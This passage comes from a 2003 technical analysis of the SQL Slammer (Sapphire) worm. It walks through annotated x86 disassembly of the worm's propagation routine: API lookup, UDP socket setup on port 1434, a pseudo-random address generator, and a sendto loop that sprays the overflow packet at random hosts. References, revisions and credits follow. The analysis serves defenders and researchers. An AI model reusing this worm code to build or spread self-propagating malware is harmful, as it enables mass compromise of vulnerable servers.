📄 sqlworm.html
字号:
<PRE>VALID_GP:
call dword ptr [esi] ; Procedure exit: ESP=EBP-40h</PRE>
The worm calls <CODE>GetTickCount</CODE> via the return value of the <CODE>GetProcAddress</CODE> call. This serves as the seed for the worm's random number generator:
<PRE> call eax ; Procedure exit: ESP=EBP-40h</PRE>
The worm adds eight bytes to its stack frame in this sequence. These are used later to store parts of an address structure:
<PRE> xor ecx, ecx
push ecx ; [EBP-44h]
push ecx ; [EBP-48h]</PRE>
It then saves its random number generator seed to the stack frame:
<PRE> push eax ; [EBP-4Ch]</PRE>
The worm generates the two permanent members of a <CODE>sockaddr_in</CODE> structure. <CODE>ECX=9A050002</CODE>, which represents the first two members of the structure:
<PRE>struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};</PRE>
The first member is set to 2 (<CODE>AF_INET</CODE>), and the second is set to the network-order representation of 1434 (the port of the SQL resolution service). This 4-byte set is then saved to the stack frame:
<PRE> xor ecx, 9B040103h
xor ecx, 1010101h
push ecx ; [EBP-50h]</PRE>
The worm then locates the '<CODE>socket</CODE>' API call via the <CODE>GetProcAddress</CODE> pointer stored in the <CODE>ESI</CODE> register. <CODE>EBP-34h</CODE> stores the address of the string literal "<EM>socket</EM>", while <CODE>EBP-40h</CODE> stores the base address of the <CODE>ws2_32.dll</CODE> library:
<PRE> lea eax, [ebp-34h]
push eax ; [EBP-54h]
mov eax, [ebp-40h]
push eax ; [EBP-58h]
call dword ptr [esi] ; Procedure exit: ESP=EBP-50h</PRE>
The worm then creates a UDP socket for use in propogation. The socket is a User Datagram Protocol socket, and the function address is pulled from the return value of <CODE>GetProcAddress</CODE>. The worm then saves the socket descriptor to its stack frame:
<PRE> push 11h ; [EBP-54h] IPPROTO_UDP - User Datagram Protocol
push 2 ; [EBP-58h] SOCK_DGRAM - Datagram socket (connectionless)
push 2 ; [EBP-5Ch] AF_INET - Internet address family
call eax ; Procedure exit: ESP=EBP-50h
push eax ; [EBP-54h]</PRE>
The worm then locates the sendto API entry point. It uses the <CODE>ESI</CODE> pointer to <CODE>GetProcAddress</CODE> for the last time, because this pointer is destroyed when the worm saves the sendto entry point to that register. It uses the string literal '<EM>sendto</EM>' that is stored at <CODE>EBP-3Ch</CODE>, and the <CODE>ws2_32.dll</CODE> base address it uses in the lookup of <CODE>socket</CODE>:
<PRE> lea eax, [ebp-3Ch]
push eax ; [EBP-58h]
mov eax, [ebp-40h]
push eax ; [EBP-5Ch]
call dword ptr [esi] ; Procedure exit: ESP=EBP-54h
mov esi, eax</PRE>
The worm <CODE>XOR</CODE>s the <CODE>EBX</CODE> register with 0xFFD9613C, before beginning its simple spreading routine. The OR instruction was most likely intended to be an XOR. However, this doesn't break worm functionality; it only modifies the worm's random address behavior slightly. This may be the reason for some hosts seeing a disproportionate number of scans:
<PRE> or ebx, ebx
xor ebx, 0FFD9613Ch</PRE>
<H3>Propagation</H3>
The worm has a simple propogation routine that simply generates 'random' IP addresses, and sends the attack packet to each system on the SQL resolution service' default port.<BR><BR>
This portion of the routine generates a random number based on the seed stored at EBP-4Ch, and then replacing it with the value in EAX at the end of the procedure:
<PRE>PRND:
mov eax, [ebp-4Ch] ; EAX=Random seed
lea ecx, [eax+eax*2] ; ECX=EAX*4
lea edx, [eax+ecx*4] ; EDX=ECX*4+EAX
shl edx, 4 ; EDX=EDX<<4
add edx, eax ; EDX+=EAX
shl edx, 8 ; EDX=EDX<<8
sub edx, eax ; EDX-=EAX
lea eax, [eax+edx*4] ; EAX+=EDX*4
add eax, ebx ; EAX+=EBX
mov [ebp-4Ch], eax ; Replace old seed w/ new one
</PRE>
This is the portion of code where sendto is actually called. The parameters to the function are commented in the code below. The parameter list to <CODE>sendto</CODE> is as follows:
<PRE>WINSOCK_API_LINKAGE
int
WSAAPI
sendto(
SOCKET s,
const char FAR * buf,
int len,
int flags,
const struct sockaddr FAR * to,
int tolen
);</PRE>
The parameters are passed as follows:
<CODE>s</CODE> = <CODE>EBP-54h</CODE>: This is the socket descriptor returned by the prior call to <CODE>socket</CODE>.<BR><BR>
<CODE>buf</CODE> = <CODE>[EBP+3]</CODE>: This is the buffer that was sent to the SQL server to cause the overflow.<BR><BR>
<CODE>len</CODE> = <CODE>376</CODE>: This tells the function that the body of the packet is exactly 376 bytes in length.<BR><BR>
<CODE>flags</CODE> = <CODE>0</CODE>: This specifies that no special behavior is to be applied to the outbound UDP packet.<BR><BR>
<CODE>to</CODE> = <CODE>EBP-50h</CODE>: This is the <CODE>sockaddr_in</CODE> structure mentioned earlier. The <CODE>sin_addr</CODE> member of the structure is set to the number returned from PRND.<BR><BR>
<CODE>tolen</CODE> = <CODE>10h</CODE>: This tells the function that the structure is exactly 16 bytes in length.
<PRE>
push 10h ; [EBP-58h] sizeof(struct sockaddr_in)
lea eax, [ebp-50h]
push eax ; [EBP-5Ch] eax=Target address
xor ecx, ecx
push ecx ; [EBP-60h] ecx=Send flags
xor cx, 178h
push ecx ; [EBP-64h] ecx=Packet length
lea eax, [ebp+3]
push eax ; [EBP-68h] eax=Exploit address
mov eax, [ebp-54h]
push eax ; [EBP-6Ch] eax=socket descriptor
call esi ; Procedure exit: ESP=EBP-54h
</PRE>
The worm then continues replication by jumping back into the pseudo-random number generator:
<PRE> jmp short PRND</PRE>
<H2>References</H2>
<UL>
<LI>CERT Advisory CA-2003-04 MS-SQL Server Worm <<A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/http/www.cert.org/advisories/CA-2003-04.html">http://www.cert.org/advisories/CA-2003-04.html</A>></LI>
<LI>Microsoft Knowledge Base Article 323875: FIX: MS02-039: Buffer Overruns in SQL Server 2000 Resolution Service Might Enable Code Execution <<A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/http/support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B323875">http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B323875</A>></LI>
<LI>Microsoft Security Bulletin MS02-039 <<A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/http/www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp">http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp</A>></LI>
<LI>NGSSoftware Advisory NISR25072002: Unauthenticated Remote Compromise in MS SQL Server 2000 <<A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/http/www.nextgenss.com/advisories/mssql-udp.txt">http://www.nextgenss.com/advisories/mssql-udp.txt</A>></LI>
<LI>eEye Alert AL20030125: Microsoft SQL Sapphire Worm Analysis <<A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/http/www.eeye.com/html/Research/Flash/AL20030125.html">http://www.eeye.com/html/Research/Flash/AL20030125.html</A>></LI>
<LI>BugTraq ID#5311: Microsoft SQL Server 2000 Resolution Service Stack Overflow <<A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/http/online.securityfocus.com/bid/5311">http://online.securityfocus.com/bid/5311</A>></LI>
<LI>NIPC Advisory 03-001: Worm Targets SQL Vulnerability <<A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/http/www.nipc.gov/warnings/advisories/2003/03-001.htm">http://www.nipc.gov/warnings/advisories/2003/03-001.htm</A></LI>
<LI>CVE Candidate 2002-0649 <<A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/http/cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0649">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0649</A>></LI>
<LI>CERT Vulnerability Note #484891: Microsoft SQL Server 2000 contains stack buffer overflow in SQL Server Resolution Service <<A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/http/www.kb.cert.org/vuls/id/484891">Microsoft SQL Server 2000 contains stack buffer overflow in SQL Server Resolution Service</A>></LI>
</UL>
<H2>Revisions</H2>
<UL>
<LI>January 26, 2003 - v2.11: Some formatting changes, references added
<LI>January 26, 2003 - v2.1: Added trace of stack usage</LI>
<LI>January 26, 2003 - v2.0: Added stack map, and added new information to several parts of the analysis</LI>
<LI>January 25, 2003 - v1.11: Added footer and fixed typos</LI>
<LI>January 25, 2003 - v1.1: Added "credit" and "revisions" sections</LI>
<LI>January 25, 2003 - v1.02: Corrected to indicate that OR instruction doesn't zero register</LI>
<LI>January 25, 2003 - v1.01: Revised to indicate that MSDE 2000 is also vulnerable, and removed note on ISP filtering; blocking port 1433/1434 could break some distributed computing systems</LI>
<LI>January 25, 2003 - v1.0: Document created</LI>
</UL>
<H2>Credit</H2>
<UL>
<LI><A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/http/pedram.redhive.com">Pedram Amini</A> <<A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/mailto:pedram@redhive.com">pedram@redhive.com</A>> for the addition of several pieces of information to this analysis.</LI>
<LI>Paul Morris <<A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/mailto:mole@morris.net">mole@morris.net</A>> for clarifying that MSDE 2000 is also vulnerable, and for presenting the possible problems with ISP filtering.</LI>
<LI><A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/mailto:cstone@pobox.com">cstone@pobox.com</A> for pointing out the OR/XOR mistake in the PRND initialization</LI>
<LI><A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/http/www.eeye.com/">eEye Digital Security</A> for providing the dis-assembly that I used in my analysis.</LI>
</UL>
<HR>
<I>Technical analysis by <A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/mailto:mattmurphy@kc.rr.com">Matthew Murphy</A><BR><A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/http/www.techie.hopto.org/">http://www.techie.hopto.org</A>
</BODY>
</HTML>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -